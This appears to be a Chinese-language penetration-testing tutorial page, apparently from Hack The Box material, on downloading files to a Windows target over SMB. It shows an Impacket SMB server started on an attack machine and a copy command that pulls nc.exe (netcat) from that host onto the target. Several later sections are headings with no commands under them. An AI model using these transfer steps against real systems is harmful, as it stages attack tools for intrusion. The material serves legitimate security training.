SMB 下载方法

运行于 TCP/445 端口的服务器消息块协议(SMB 协议)在运行 Windows 服务的企业网络中很常见。它使应用程序和用户能够在远程服务器之间传输文件。

我们可以使用 SMB 从 Pwnbox 轻松下载文件。我们需要使用 Impacket 中的 smbserver.py 在 Attack Machine 中创建一个 SMB 服务器,然后使用copy、move、PowerShell Copy-Item 或任何其他允许连接到 SMB 的工具。

创建 SMB 服务器

AcesMin@htb[/htb]$ sudo impacket-smbserver share -smb2support /tmp/smbshare

Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

要将文件从 SMB 服务器下载到当前工作目录,我们可以使用以下命令:

从 SMB 服务器复制文件

C:\htb> copy \\192.168.220.133\share\nc.exe

        1 file(s) copied.

新版本的 Windows 会阻止未经身份验证的来宾访问,如以下命令所示:

要在这种情况下传输文件,我们可以使用 Impacket SMB 服务器设置用户名和密码,并将 SMB 服务器安装在 Windows 目标计算机上:

使用用户名和密码创建 SMB 服务器

使用用户名和密码挂载 SMB 服务器

最后更新于

这有帮助吗?